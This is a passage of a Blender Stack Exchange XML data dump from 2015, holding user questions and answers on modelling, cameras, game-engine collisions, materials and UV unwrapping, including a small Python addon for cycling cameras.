&lt;em&gt;Curve&lt;/em&gt;, then go to the &lt;em&gt;Curve Data&lt;/em&gt; header and check the &lt;strong&gt;&lt;em&gt;Stretch&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Bounds Clamp&lt;/em&gt;&lt;/strong&gt; checkboxes in the &lt;em&gt;Shape&lt;/em&gt; panel.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2L21q.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2L21q.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2016-03-07T23:25:04.993" LastActivityDate="2016-03-07T23:25:04.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27089" PostTypeId="1" CreationDate="2015-03-13T17:18:28.700" Score="0" ViewCount="135" Body="&lt;p&gt;I am trying to make an airplane body from what was a square, and this is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ah5XT.png&quot; alt=&quot;Plane 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to added a &lt;code&gt;Subdivision Surface&lt;/code&gt;, but that doesn't make it look right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/07kS1.png&quot; alt=&quot;Plane 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried to add a &lt;code&gt;Bevel&lt;/code&gt;, but that doesn't look right either:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3qyuC.png&quot; alt=&quot;Plane 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to achieve a rounded body?&lt;/p&gt;&#xA;" OwnerUserId="9613" LastActivityDate="2015-03-13T17:56:25.193" Title="Airplane Rounded Body" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27090" PostTypeId="2" ParentId="27070" CreationDate="2015-03-13T17:40:54.627" Score="3" Body="&lt;p&gt;In Edit mode  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Loop cut a cube 4 times around the Z axis &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; &lt;code&gt;4&lt;/code&gt; or scroll with &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; to change the number of cuts.&lt;/li&gt;&#xA;&lt;li&gt;Select the top 4 vertices then enable &lt;a href=&quot;https://blender.stackexchange.com/a/21133/2217&quot;&gt;proportional editing&lt;/a&gt;, and change the &lt;em&gt;Falloff&lt;/em&gt; to &lt;em&gt;Sphere&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to scale along the X and Y axes.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to select everything then scale along the Z &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7ERr.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-03-13T17:40:54.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27091" PostTypeId="2" ParentId="27089" CreationDate="2015-03-13T17:56:25.193" Score="3" Body="&lt;p&gt;First of all, model the differences in the x dimension; the tail is never as thick as the fuselage. go into edit-mode and scale the faces of the tail on the x axis. (&lt;kbd&gt;S&lt;/kbd&gt;+&lt;kbd&gt;X&lt;/kbd&gt;) you may need to hit &lt;kbd&gt;O&lt;/kbd&gt; to maintain a good profile while scaling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next go in and select the top and bottom side edges of the tail and in the options on the right (&lt;kbd&gt;N&lt;/kbd&gt;) turn up the &lt;em&gt;Mean Crease&lt;/em&gt; to 1.00. This will make sure that as the side is smoothed, the profile is not lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your second screen shot, I would say that you have included the entire side of the fuselage as one N-Gon: you need quads for sub-surf to work efficiently. You can go in and break the large n-gon up by selecting opposing vertices and hitting &lt;kbd&gt;J&lt;/kbd&gt;. Now you can successfully add a subdivision surface modifier without getting unexpected results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will add screen shot when i get home :) hold on; they're coming.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-13T17:56:25.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27092" PostTypeId="1" AcceptedAnswerId="27093" CreationDate="2015-03-13T18:13:55.247" Score="4" ViewCount="3734" Body="&lt;p&gt;Let's say I have 4 cameras on a scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BRR04.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to render with the first camera, see what it looks like, then switch to the &quot;next&quot; camera quickly and see what that render looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, to switch cameras I have to click on a camera and set it as active and finally I can render (I don't have a number pad so I have to go to the menu and set it each time; else I'd use Ctrl+0). What I would like to know is whether there is a way to switch cameras and set it as active all in one step?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;I'm not asking how to set a camera as active, that's doable via menu, what I'm asking for is a guide for a &quot;quick toggle&quot; between cameras; a quick way to switch active cameras without an animation.&lt;/p&gt;&#xA;" OwnerUserId="12653" LastEditorUserId="12653" LastEditDate="2015-03-13T18:20:56.340" LastActivityDate="2020-02-18T13:27:49.293" Title="Is there a way to quick toggle cameras?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27093" PostTypeId="2" ParentId="27092" CreationDate="2015-03-13T18:22:20.247" Score="2" Body="&lt;p&gt;go in &lt;em&gt;scene&lt;/em&gt; settings tab&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eB1db.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;click on the camera name&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XQaiw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;choose the camera you want as active and click&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jSdH2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-13T18:22:20.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27095" PostTypeId="1" CreationDate="2015-03-13T18:58:46.007" Score="2" ViewCount="60" Body="&lt;p&gt;I'm Newbie and i have a packet of Trees which are packed into one single 3ds file. How can i make seperate models of it? In Photoshop etc, i'd use &quot;Copy&amp;amp;Paste&quot; it into a new File, how is it done in blender, the easiest way?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0VfOv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13068" LastActivityDate="2015-03-13T23:37:30.470" Title="How to put a Part of my Model into a New File" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-14T00:54:07.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="27097" PostTypeId="2" ParentId="27095" CreationDate="2015-03-13T19:05:14.690" Score="4" Body="&lt;p&gt;You can save the models in blend file and append them in a new file whenever you want using &quot;File -&gt; Append&quot; (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="55" LastEditDate="2015-03-13T23:37:30.470" LastActivityDate="2015-03-13T23:37:30.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27098" PostTypeId="2" ParentId="27092" CreationDate="2015-03-13T19:08:38.080" Score="12" Body="&lt;p&gt;It's possible with a little addon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Cycle Cameras&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 65, 0),&#xA;    &quot;location&quot;: &quot;View3D &amp;gt; Ctrl + Shift + Left/Right Arrow&quot;,&#xA;    &quot;description&quot;: &quot;Switch scene camera to next or previous camera object&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;3D View&quot;}&#xA;&#xA;import bpy&#xA;&#xA;class VIEW3D_OT_cycle_cameras(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Cycle through available cameras&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.cycle_cameras&quot;&#xA;    bl_label = &quot;Cycle Cameras&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    direction = bpy.props.EnumProperty(&#xA;        name=&quot;Direction&quot;,&#xA;        items=(&#xA;            ('FORWARD', &quot;Forward&quot;, &quot;Next camera (alphabetically)&quot;),&#xA;            ('BACKWARD', &quot;Backward&quot;, &quot;Previous camera (alphabetically)&quot;),&#xA;        ),&#xA;        default='FORWARD'&#xA;    )&#xA;&#xA;    def execute(self, context):&#xA;        scene = context.scene&#xA;        cam_objects = [ob for ob in bpy.data.objects if ob.type == 'CAMERA']&#xA;&#xA;        if len(cam_objects) == 0:&#xA;            return {'CANCELLED'}&#xA;&#xA;        try:&#xA;            idx = cam_objects.index(scene.camera)&#xA;            new_idx = (idx + 1 if self.direction == 'FORWARD' else idx - 1) % len(cam_objects)&#xA;        except ValueError:&#xA;            new_idx = 0&#xA;&#xA;        context.scene.camera = cam_objects[new_idx]&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;addon_keymaps = []&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    kc = wm.keyconfigs.addon&#xA;    if kc:&#xA;        km = wm.keyconfigs.addon.keymaps.new(name='3D View', space_type='VIEW_3D')&#xA;        kmi = km.keymap_items.new(VIEW3D_OT_cycle_cameras.bl_idname, 'RIGHT_ARROW', 'PRESS', ctrl=True, shift=True)&#xA;        kmi.properties.direction = 'FORWARD'&#xA;        addon_keymaps.append((km, kmi))&#xA;        kmi = km.keymap_items.new(VIEW3D_OT_cycle_cameras.bl_idname, 'LEFT_ARROW', 'PRESS', ctrl=True, shift=True)&#xA;        kmi.properties.direction = 'BACKWARD'&#xA;        addon_keymaps.append((km, kmi))&#xA;&#xA;def unregister():&#xA;    for km, kmi in addon_keymaps:&#xA;        km.keymap_items.remove(kmi)&#xA;    addon_keymaps.clear()&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An operator to cycle through available camera objects is bound to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Left Arrow&lt;/kbd&gt; to go to (alphabetically) previous camera and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Right Arrow&lt;/kbd&gt; to go to next camera.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-03-13T19:08:38.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27099" PostTypeId="1" AcceptedAnswerId="27688" CreationDate="2015-03-13T20:55:37.573" Score="0" ViewCount="3661" Body="&lt;p&gt;I'm making a first person view game, and I have a big low-poly hilly terrain.  Occasionally while testing, my character falls through the ground.  What is the best way to fix this?  I've heard that increasing the physics steps can help but I don't believe it has.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2019-07-21T18:40:04.237" Title="Blender Game Engine, Falling Through Ground" Tags="&lt;game-engine&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27100" PostTypeId="2" ParentId="27099" CreationDate="2015-03-13T21:46:01.593" Score="6" Body="&lt;p&gt;Set the physics type on your ground to triangle mesh. That should fix it, But if it doesn't not, you can also turn up the margin or extrude the ground down in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zwiCM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that your ground is not calculating the collisions correctly, and changing the collision bounds on the ground should fix it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your problem still happens, you can also try changing the collision bounds on your character. If you are still unsure what the problem is, you can activate &quot;Physics Visualization&quot; to show exactly what is or is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jHoQn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the difference between these pictures. The first is using triangle mesh collisions on the ground. The second one is using box collision type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GeXsq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VqPL1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although there is normally no problem with box Or triangle mesh, sometimes there is still an error and the collision bounds will not detect properly. In this case it is normally a good idea to try a different type, or increase the margin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MoYuP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-03-13T21:58:01.387" LastActivityDate="2015-03-13T21:58:01.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27102" PostTypeId="2" ParentId="27099" CreationDate="2015-03-14T00:28:13.510" Score="0" Body="&lt;p&gt;for very fast moving objects, I have found 'floating' a object on a ray, and then using it to draw a object on the mesh is handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also distort the ray end point using the linear velocity,&#xA;and use this to align to the normals AHEAD of the car, as you hit them&#xA;this way you can go as fast as you want ,&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-03-14T00:28:13.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27104" PostTypeId="1" AcceptedAnswerId="27116" CreationDate="2015-03-14T04:31:16.043" Score="0" ViewCount="433" Body="&lt;p&gt;I'm trying to import texture wrapped models into Unity 3D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity needs to have the object name the same as the texture name for it to automatically assign the textures.&lt;/p&gt;&#xA;" OwnerUserId="7605" LastActivityDate="2015-03-14T15:10:06.590" Title="Is it possible to set names of objects based on their texture name?" Tags="&lt;uv&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27105" PostTypeId="1" CreationDate="2015-03-14T06:11:39.587" Score="2" ViewCount="1505" Body="&lt;p&gt;The tree on the left is always purple, whenever I try anything, like changing the material, texture etc. it always turns out purple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/TJykDLt.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's fine in cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Vianczs.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been following a tutorial by CG Geek on youtube and have had no problems up to about 1:01:39. But now when I try to follow along my left tree always appears purple as shown in the picture. The tutorial is &lt;a href=&quot;https://www.youtube.com/watch?v=pzkUtLqYA2M&amp;amp;feature=player_detailpage#t=3689&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13157" LastEditorUserId="599" LastEditDate="2015-03-14T07:01:41.810" LastActivityDate="2015-03-14T09:46:55.620" Title="Texture appears pink in Blender Render" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27106" PostTypeId="2" ParentId="27051" CreationDate="2015-03-14T07:19:59.590" Score="1" Body="&lt;p&gt;have found out what is wrong .. just silly me, had baked shadows and there was something wrong when I did that.. so it was my texture that was wrong.. ;)&lt;/p&gt;&#xA;" OwnerUserId="13129" LastActivityDate="2015-03-14T07:19:59.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27107" PostTypeId="1" CreationDate="2015-03-14T07:56:49.023" Score="0" ViewCount="984" Body="&lt;p&gt;I have a series of meshes (created elsewhere) that represent a surface deforming over time, each mesh representing a particular point in time (in .ply format).&#xA;Can I import these numerous meshes into Blender to render an animation of the deformation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All meshes have the same number of vertices and faces -so its kind of like a cloth animation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="13159" LastActivityDate="2017-05-15T20:44:20.543" Title="import series of meshes" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;import&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27108" PostTypeId="2" ParentId="27105" CreationDate="2015-03-14T09:46:55.620" Score="3" Body="&lt;p&gt;You're trying to use a cycles material with blender internal. This probably happened because you created your material with cycles selected and changed to blender internal. Materials are specific and can't be used with both renderers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can choose to change the renderer to cycles (1)&lt;br&gt;&#xA;You can unassign your material and create a new one (2)&lt;br&gt;&#xA;You can remove nodes from your material and modify it to be blender internal (3)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VBsEj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-14T09:46:55.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27109" PostTypeId="2" ParentId="13527" CreationDate="2015-03-14T10:53:00.067" Score="3" Body="&lt;p&gt;A normal map will allow to simulate high poly details on a low poly mesh (using light) but won't change the shape of it. You won't be able to remove the visibility of the topology on borders with good result. You can try a fresnel or layer weight node to mix a transparent but this will make holes. This could work on a volume but not on a surface shader.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you can really do is adding a subsurf to add some topo and smooth the borders.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-14T10:53:00.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27110" PostTypeId="1" AcceptedAnswerId="27175" CreationDate="2015-03-14T11:38:42.217" Score="3" ViewCount="187" Body="&lt;p&gt;I'm creating a crowd of people in Blender. For now, they all have the same model, and I want to create some variation by changing the colour of their clothing. What I have is a texture, a mask for each piece of clothing, and a randomly chosen colour. What I would like is to be able to use these to create a new texture like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/15z4B.jpg&quot; alt=&quot;My intended colour change&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I can create each texture by hand, but I'd rather write some script that performs these tasks automatically in Blender. I also want to avoid a directory full of textures, as I can easily create those myself. What would be a good approach for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender Internal, and GLSL shading in the viewport. It's important that the viewport also reflects the colour, as I'll be using this in a live demo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: By using material nodes (as suggested by @chebhou) I almost got it working. This is the material node setup now. The material referred to in the &quot;Material&quot; node is actually simply a white textureless material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IV5dx.png&quot; alt=&quot;Material node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The one thing that's left is to ensure that each object has a unique value for the HSV converter inputs. Does anyone have any ideas about this?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;:&#xA;Chebhou writes: I have tried to use the driver on the value node but it's not evaluated ( it's just stuck at a certain value) , and i need to make this value specific to each object (there are many objects that use this material but needs to look different )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way to get an object related value like in cycles :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7wMdc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it would be good also if there is another approach(I can go through the objects and assign this material with different settings but it would be better if it is only one shared )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 3:&lt;/strong&gt;&#xA;Sybren writes: What I have so far is working nicely, check the video at  &lt;a href=&quot;https://www.youtube.com/watch?v=BBlS4PKJhOc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=BBlS4PKJhOc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it still uses the same values for all objects that use the material :(&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2015-03-16T16:13:35.330" LastActivityDate="2015-03-16T16:13:35.330" Title="Colorizing part of a texture" Tags="&lt;scripting&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27111" PostTypeId="2" ParentId="18443" CreationDate="2015-03-14T12:04:30.467" Score="4" Body="&lt;p&gt;Your vertices are not at the exact center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XeqMT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change their position to 0 on the concerned axis&#xA;&lt;img src=&quot;https://i.stack.imgur.com/atKA0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;This should fix your problem&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/l3cqB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be avoided using clipping in the mirror modifier.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-14T12:04:30.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27112" PostTypeId="2" ParentId="18640" CreationDate="2015-03-14T12:40:37.337" Score="1" Body="&lt;p&gt;Joining your objects changed the plane's bounds, using the corridor's bounds. Array modifier is using the object's bounds as a reference (1) for the relative offset. The bounding box can be visible, it's a box containing your complete object.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/S4kH6.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your plane is smaller than the bounding box, so it's repeated inside it. You need to fix it's topology to fit the bounds of your corridor.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Y4acX.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, activate vertex or edge snapping&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aN3Cd.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the needed vertices/edges along 1 axis (Y on my sreenshot) with &lt;kbd&gt;G&lt;/kbd&gt;, and  &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;. The mouse cusror will change when close to a vertex/edge it can use to snap&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KyeFc.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the same on the other side&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YzxqI.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your plane will fit the corridor's array.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HSkB4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-14T12:40:37.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27113" PostTypeId="1" AcceptedAnswerId="27118" CreationDate="2015-03-14T14:23:36.343" Score="6" ViewCount="7030" Body="&lt;p&gt;I have the model of house with seams on it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qF47J.png&quot; alt=&quot;model with seams marked&quot;&gt;&lt;br&gt;&#xA;When I'm trying to unwrap it (&lt;kbd&gt;U&lt;/kbd&gt; &gt; unwrap) It unwraps wrong. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/Pvg07.png&quot; alt=&quot;messed up UVs&quot;&gt;&#xA;Some polygons are bigger then others, and I don't know what to do.&#xA;How do I unwrap it proportional?&lt;/p&gt;&#xA;" OwnerUserId="13162" LastEditorUserId="2217" LastEditDate="2015-03-14T14:50:50.393" LastActivityDate="2015-03-14T20:22:27.160" Title="Unwrap model with UVs at proper size?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27114" PostTypeId="1" AcceptedAnswerId="27151" CreationDate="2015-03-14T14:41:32.573" Score="1" ViewCount="1437" Body="&lt;p&gt;This question is related to &lt;a href=&quot;https://blender.stackexchange.com/q/13924/11431&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me use an exemple to illustrate what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've created a text object (made of curves). It can't be used in a boolean modifier as it won't appear in the list of usable objects in the modifier because it's a curve object.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GU6nJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;But if we add a remesh modifier on the text, geometry is created from the shape.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zH3J1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The object could be used as boolean if we convert it to mesh. The remesh can't be applied on curve object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is&lt;/strong&gt; : Can we dynamicaly use the remesh modifier created geometry as real geometry or make the boolean modifier consider the text modified object as a real mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea behind this is to be able to change the text (or any curve 3D shape) without having to make it a real mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(don't hesitate to edit my poor english to make it understandable :) )&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-03-15T05:10:34.050" Title="Can a curve object modifier created geometry be used as boolean factor" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27115" PostTypeId="1" CreationDate="2015-03-14T15:05:56.353" Score="0" ViewCount="207" Body="&lt;p&gt;I've noticed that the Data Transfer modifier, as documented on Blender's modifier list in the docs, is not available on Blender 2.73a (at least).  It's just not there.  I can't speak to Blender for other OSes, but for Linux, this is the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what's going on and what I need to do to enable it?  Is it deprecated now?&lt;/p&gt;&#xA;" OwnerUserId="11316" LastActivityDate="2015-03-14T19:09:29.610" Title="Where is Data Transfer Modifier on Blender 2.73a for Linux?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
